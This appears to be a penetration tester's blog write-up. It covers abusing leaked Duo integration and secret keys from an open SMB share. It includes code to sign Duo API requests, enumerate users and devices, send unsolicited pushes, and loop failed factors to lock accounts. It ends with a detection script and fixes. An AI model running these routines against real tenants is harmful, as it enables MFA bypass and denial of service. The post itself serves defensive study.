· 8 min read

The share that unlocked Duo

As penetration testers we love a client that reads our reports, hardens their environment, and calls us back for follow-up engagements. This one particular client had done well hardening their network, following the recommendations from several previous engagements. They now represented a significant challenge after years of improving their security posture. They were rightly proud of requiring a Duo push on every account, EDR on every host, and a locked-down build that killed the usual lateral-movement paths.

I had a foothold on a laptop and one set of user credentials, and for a day that was all I had. Every attempt at trying other credentials triggered a push prompt I couldn’t answer. Things looked bleak for me, and then I found an open SMB share the IT team used to deploy software.

The share

The share held the installers a normal workstation needs: the VPN client, the EDR agent, a few line-of-business apps, and Duo Authentication for Windows Logon. My guess is a deployment script pulled from it during provisioning. Any domain user could read it.

Duo’s Windows Logon installer takes three values: the API hostname, an integration key, and a secret key. In this case all three sat in the share. Some were baked into a silent-install wrapper. The rest sat in a readme-style text file next to the installer, in plain text, so the next admin would not have to look them up.

Duo’s own documentation is incredibly clear about what that file was worth:

The security of your Duo application is tied to the security of your secret key (skey). Secure it as you would any sensitive credential.

The secret key is the password to the application’s API. The client had left it on a share that every user could read.

Turning a secret into an API client

Mandiant had already mapped this class of Duo misconfiguration in their writeup Abusing Duo Authentication Misconfigurations. I leaned on that research to write the tool I used here. I definitely want to thank them for the research that allowed me to make the tool that this engagement needed.

The integration key (ikey) and secret key (skey) sign requests to the Duo Auth API. Every call carries an Authorization header built from an HMAC of the request, keyed with the skey. Duo’s reference signing routine, and the one my tool uses, builds a canonical string from the date, method, host, path, and sorted parameters, then signs it:

duopwn/api.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
def sign(method, host, path, params, skey, ikey):
    now = email.utils.formatdate()
    canon = [now, method.upper(), host.lower(), path]
    args = []
    for key in sorted(params.keys()):
        val = params[key].encode("utf-8")
        args.append('%s=%s' % (urllib.parse.quote(key, '~'),
                               urllib.parse.quote(val, '~')))
    canon.append('&'.join(args))
    canon = '\n'.join(canon)

    sig = hmac.new(bytes(skey, encoding='utf-8'),
                   bytes(canon, encoding='utf-8'),
                   hashlib.sha512)
    auth = '%s:%s' % (ikey, sig.hexdigest())
    return {
        'Date': now,
        'Authorization': 'Basic %s' % base64.b64encode(
            bytes(auth, encoding="utf-8")).decode(),
    }

If you have the skey and you can sign anything. The API trusts the signature, not the caller. Duo’s firewall guidance warns against pinning rules to destination IPs because their addresses change, and there is no built-in allowlist for which source can call the Auth API with a given key. A key read off a share works from my laptop as well as from inside the network.

Enumeration: /preauth

The /auth/v2/preauth endpoint describes a user before any authentication happens. Feed it a username and it tells you whether that user exists in Duo, and for an enrolled user it returns every device, the device ID, a display_name like iOS (XXX-XXX-0100), and the factors that device supports.

duopwn/actions.py
1
2
3
4
def perform_preauth(url, skey, ikey, username, proxies=None):
    req_url, method, headers, data = build_req(url, skey, ikey, "preauth", username)
    resp = send_req(method, req_url, headers, data, proxies)
    return parse_resp(method, resp)

Run that over a username list and you have a roster: who carries Duo, what devices they use, the last four of their phone numbers, and which of them can take a push. Duo masks the phone number to the last four digits, which is still enough to match a person to a device.

preauth.txt
1
2
3
4
5
6
$ duopwn -U api-xxx.duosecurity.com -i IKEY -s SKEY -A batch -l users.txt
Username          Status          Device ID
============================================================
j.okafor          active          DP8M...QptY   iOS (XXX-XXX-0142)
r.delgado         active          DP2K...9vLm   Android (XXX-XXX-0098)
svc-backup        active          DP7Q...r1Ab   phone1

The username list came from the same engagement.

Impact: /auth

/auth/v2/auth performs the second factor. With factor=push and the device ID from preauth, it sends a push to the user’s phone and returns a transaction ID. The result of the whole flow now depends on one thing: the person looking at the prompt.

duopwn/actions.py
1
2
3
4
5
def perform_auth(url, skey, ikey, username, device=None, factor="push", ...):
    kwargs = {"device": device, "factor": factor}
    auth_url, method, headers, data = build_req(url, skey, ikey, "auth", username, **kwargs)
    resp = send_req(method, auth_url, headers, data, proxies)
    return parse_resp(method, resp)   # -> response.txid, then poll /auth_status

That one call gave me three ways to work an account I already had a password for.

Send a push and wait for a tired approval. People approve prompts they did not start. (psst! One did.)

Reuse a password at a moment the user expected a prompt, and let their own approval finish my login.

Or send pushes the user never asked for. Every denial, and every push left to time out, counts as a failed authentication. My tool walks the auth factors in a loop to drive those failures:

duopwn/actions.py
1
2
3
4
5
6
7
8
for i in range(attempts):
    if i % 3 == 0:
        params = {"device": device, "factor": "passcode", "passcode": "000000"}
    elif i % 3 == 1:
        params = {"device": device, "factor": "push"}     # left to time out
    else:
        params = {"device": device, "factor": "sms"}
    # ... build_req("auth"), send, poll auth_status for a lockout signal

Point that at the whole roster from preauth and you can lock accounts across the environment on demand. I did not pull that trigger on a live client. The capability sat there, signed and authorized by a key from a public share.

Push fatigue is old news by now. The 2022 Uber and 0ktapus intrusions both turned on a user approving a prompt they should have denied.

Root cause

Rank these by what caused the compromise:

  1. The Duo secret key sat in cleartext on a share readable by every domain user. This is the finding.
  2. The installer wrapper embedded the same secret, so the share leaked it through the binary as well.
  3. Nothing restricted which hosts could call the Auth API with those keys, so a read from the share was enough to use them from anywhere I had egress.

One cleartext file turned a company-wide MFA program into a set of API keys I could use from my own laptop.

Finding your own copy of this

Before an attacker maps that share, go look for it yourself. Duo integration keys are 20-character identifiers that start with DI, and secret keys are 40-character alphanumeric strings. A read-only sweep of your deployment shares and imaging scripts finds most exposures:

Find-DuoSecrets.ps1
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# Read-only. Point -Path at deployment shares, image build folders, script repos.
$patterns = @{
    'Duo integration key (ikey)' = 'DI[A-Z0-9]{18}'
    'Duo API hostname'           = 'api-[a-z0-9]{8}\.duosecurity\.com'
    'Possible Duo secret (skey)' = '(?i)(skey|secret[_-]?key)\s*[:=]\s*[A-Za-z0-9]{40}'
}

Get-ChildItem -Path '\\server\deploy$' -Recurse -File `
    -Include *.txt,*.ini,*.cfg,*.xml,*.ps1,*.bat,*.cmd,*.reg -ErrorAction SilentlyContinue |
    ForEach-Object {
        $file = $_.FullName
        foreach ($name in $patterns.Keys) {
            Select-String -Path $file -Pattern $patterns[$name] -ErrorAction SilentlyContinue |
                ForEach-Object { [pscustomobject]@{ Finding = $name; File = $file; Line = $_.LineNumber } }
        }
    } | Format-Table -AutoSize

It reports locations, not secret values, so it is safe to run and hand to a ticket. Extend the file types to match how your team packages installers.

Fixing it

If you find a secret on a share, treat it as burned and rotate it. Resetting the secret in the Duo Admin Panel invalidates the old one, so plan the change: Duo’s guidance notes that users cannot authenticate with that application until the rotation finishes. On Windows endpoints, the Duo Secret Rotation Tool writes the new, encrypted secret into the registry without a reinstall.

Then stop it from coming back:

  • Keep the secret out of the installer wrapper and out of any file beside it. Inject it at install time from a secrets manager or a privileged deployment account, not from a world-readable path.
  • Lock the deployment share down to the accounts that deploy. A standard user has no reason to read your imaging source.
  • Turn on Verified Duo Push, which makes users type a number from the login screen instead of tapping approve. A blind push from my API call has no number to show.
  • Add the sweep above to your routine. A secret on a share is a finding whether or not anyone has used it yet.

The client built good MFA, then stored its bootstrap secret where any user could read it. Guard the keys that arm your MFA as closely as the passwords they replaced.

The tool is on my GitHub: RedTeamRaccoon/duopwn. It calls documented Duo endpoints and only works against a tenant whose keys you already hold, in an engagement you are authorized to run.